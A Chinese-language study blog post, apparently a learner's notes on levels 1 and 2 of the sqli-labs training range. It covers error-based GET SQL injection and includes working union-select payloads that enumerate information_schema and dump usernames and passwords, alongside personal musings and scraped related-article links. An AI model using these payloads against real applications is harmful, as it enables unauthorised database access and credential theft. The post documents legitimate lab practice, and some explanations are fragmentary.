靶场练习--sqli(1&2)
前言
懒猪赵肥肥耍了3天3夜,每天除了练英语口语,啥子都没干。今天开始发愤图强,嘻嘻~ 计划内容有:靶场、视频、python、PHP、java、计算机英语。
首先,每天必搞靶场必看视频必学java和英语。2天硬性计划:15关,2视频,java学习4-6小时。......最后,如果我不学习,那我就是赵肥肥肥!
0x01 第一关
Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)
1.首先判断闭合


(# 作用:注释%23,记住在手工的时候最好改为URL编码)
2.当id=1,或者id=1' ,的时候,才会报错。所以这里理解的“基于错误的get单引号字符型注入”的意思就是:通过单引号是否有报错然后
然后判断是否有注入。所以在这里,我们通过报错来判断各种信息的准确性。

所以这里,我们判断他的字段数为3
3.接下来猜数据库(一般看到的是当前数据库),注意id后面就不要加东西了,要不然报出来的可能只是本次登录的dumb
?id= ' union select null,database(),3%23

4.数据库名security拿到手,开始查看所有同类数据库名称。
?id= ' union select null,(select group_concat(schema_name) from information_schema.schemata),null%23
看到数据库的名字了,接下来看具体的表名。

5.查找security数据库的所有表名。
?id= 'union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema = security and table_name = user)%23
但是 数据库+表名 需要通过16进制的编码https://www.sojson.com/hexadecimal.html
0x7365637572697479
0x75736572
?id=%20%27union%20select%201,2,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema%20=%200x7365637572697479%20and%20table_name%20=%200x75736572)%23
然后费了很大力气,看不懂这些是啥。。

错误原因:我在security数据库里面找有没有user这一列干嘛??要是没有找到,,那不就GG了。。所以我的sql注入盲区还有:认为注入就是瞎猜。。。我真是脑洞大开。。现在我们的目标是,在注入的时候,要让注入点吐出真正的东西,而不是自己去猜。
所以我们这步正确的打开方式:查询security里面所有的表名!列名有:users、emails...
?id= ' union select null,null,(select group_concat(table_name) from information_schema.tables where table_schema=database())%23

6.表名里面选择一个有价值的,爆破列名
?id= ' union select null,null,(select group_concat(column_name) from information_schema.columns where table_name='users')%23

7.发现目标username和password,继续挖掘,发现用户名和密码:
?id=%%%20union%20select null,null,(select group_concat(username,0x3a,password) from users)%

注意:group_concat函数,可以显示出具体的字符;group_concat(username,0x3a,password),这里面的0x3a就是起到一个分割的作用,如果我输入的是0x3b(;)那么出现的就是以分号为分隔符~

总结第一关:老套路,看报错,返回完全正常,那就是OK的。返回页面有问题(不是404、403那些。。),就是you注入点。我们应该通过提示信息,先判断字段,再猜数据库名字---全部数据库---某个特殊数据库包含的表名----表名得列名--爆密码。https://www.cnblogs.com/-zhong/p/10877728.html
【今天第一关!居然闯了一个半小时!啊!蠢货!明天继续】
0x02 第二关
GET - Error based - Intiger based (基于错误的GET整型注入)
考研OR实习,我都苦恼几天了,每天做梦都是考研,又怕考上了耽搁了网络安全这条大船。毕竟成都网络空间安全少,走渗透更少。
唉。今天也想了一上午。。唉。。奈何身边大佬太多,无论是应用型还是学术型,都是让人瞠目结舌。
1.第一关加的 ' ,进行判断是否被过滤且通过返回错误查看是何种注入类型(字符型、数字型),在第二关这
http://blog.sina.com.cn/s/blog_5a5c92980102xfqg.html
3个字段,接下来猜数据库名
奇怪的很,id=* union select null,select(database()),null%23 查看数据库名,但是根据id的值随便填写,爆出不同的字符很正常更感觉就是密码了。。。然后我这里错了,因为id的值为-1,才能爆出数据库名,原因是:

通过security这个数据库,查看其他同级数据库(鸡肋???):
(select group_concat(schema_name) from information_schema.schemata)

还是进入security数据库,或者让他显示所有的表名:
- (select group_concat(table_name) from information_schema.tables where table_schema='security')
- (select group_concat(table_name) from information_schema.tables where table_schema=databse())

选择一个看起来顺眼的表:
查找信息(列名),发现这个users表里面有形如password的敏感字段:
(select group_concat(column_name) from information_schema.columns where table_name='users')

显示密码:

- schema_name -> table_name -> column_name,from后面的“单位”要和前面一致
- 步骤不能乱,随意输入可能会显示出想要的信息,但是没有办法进一步继续
- (,,,,,)括号里面用逗号
- column column column
靶场练习--sqli(1&2)的更多相关文章
- 靶场练习--sqli(3&4)
第三关 先解决一下第二关遗留下来的问题,嘻嘻.看来数据库原理应当过一遍~ 1.首先判断是否有SQL注入,然后再看是数字型.字符型.发现这里是字符型. 2.order by 查询字段数,记得后面要加一个 ...
- 搭建sqli靶场
前言: sqli是一个印度程序员编写的,用来学习sql注入的一个游戏教程 sqli这个靶场对php7.0是不兼容的(因为一些函数在php7中被删除了),所以搭建的时候要下载php5,如果你的系统要下载 ...
- 搭建 sqli SQL注入练习靶场
文章更新于:2020-02-18 按照惯例,需要的文件附上链接放在文首 文件名:sqli-labs-master.zip 文件大小:3.5 M 下载链接:https://www.lanzous.com ...
- Sqli - Labs 靶场笔记(一)
Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...
- SQL注入靶场sqli-labs 1-65关全部通关教程
以前说好复习一遍 结果复习到10关就没继续了 真是废物 一点简单的事做不好 继续把以前有头没尾的事做完 以下为Sqli-lab的靶场全部通关答案 目录: less1-less10 less10-les ...
- Vulnhub靶场题解
Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...
- Sqli labs系列-less-2 详细篇
就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...
- Sqli labs系列-less-1 详细篇
要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...
- 搭建DVWA Web渗透测试靶场
文章更新于:2020-04-13 按照惯例,需要的文件附上链接放在文首. 文件名:DVWA-1.9-2020.zip 文件大小:1.3 M 文件说明:这个是新版 v1.9 (其实是 v1.10开发版) ...
随机推荐
- export default{} 和 new Vue()都是什么意思
在生成.导出.导入.使用 Vue 组件的时候,有些新手就会常常被位于不同文件的 new Vue() 和 export default{} 搞得晕头转向.它们含义到底是什么,又有什么异同呢? 首先,Vu ...
- [洛谷P1709] 隐藏的口令
问题描述 有时候程序员有很奇怪的方法来隐藏他们的口令.Binny会选择一个字符串S(由N个小写字母组成,5<=N<=5,000,000),然后他把S顺时针绕成一个圈,每次取一个做开头字母并 ...
- @ApiModelProperty
@ApiModelProperty用法 @ApiModelProperty()用于方法,字段: 表示对model属性的说明或者数据操作更改 value–字段说明 name–重写属性名字 dataT ...
- yolo v3 loss=nan, Avg loss=nan的一种原因
我这里是由于数据整理错误导致的,同一标注区域重复2次送入模型,具体如下: 0.798046875 0.5555555555555556 0.04296875 0.03611111111111111 0 ...
- jquery常用用法
1.$("prve + next" ) 选择紧接着在perve后的next元素2.$("#div1 > *&quo ...
- 一篇文章让你详细了解何为JSON
JSON详解: JSON的全称是“ JavaScript Object Notation”,意思是JavaScript对象表示法,它是一种基于文本,独立于语言的轻量级数据交换格式.XML也是一种数据交 ...
- 四-3、Mirror(镜像)、Spin(旋转)、创建组
1.Mirror 1.针对单个器件 2.针对整个模块 2.Spin(旋转)(平时用的比较少) 3.创建组(经常用到)(主要是在布局时,发现后期需要移动整个模组)(创建为group) 1.创建组---- ...
- 20180805-Java ByteArrayOutputStream类
下面的例子演示了ByteArrayInputStream 和 ByteArrayOutputStream的使用: import java.io.* public class ByteStreamTes ...
- UE4开发PSVR游戏的常见问题
Failed to connect to file server at xxx.xxx.xxx.xxx. RETRYING in 5s解决办法:PS4 Devkit 中 Settings->De ...
- oracle比较两个库同表栏目差异
select T.COLUMN_NAME,t.data_type ,c.comments from ALL_TAB_COLUMNS T ,user_col_comments c and c.table ...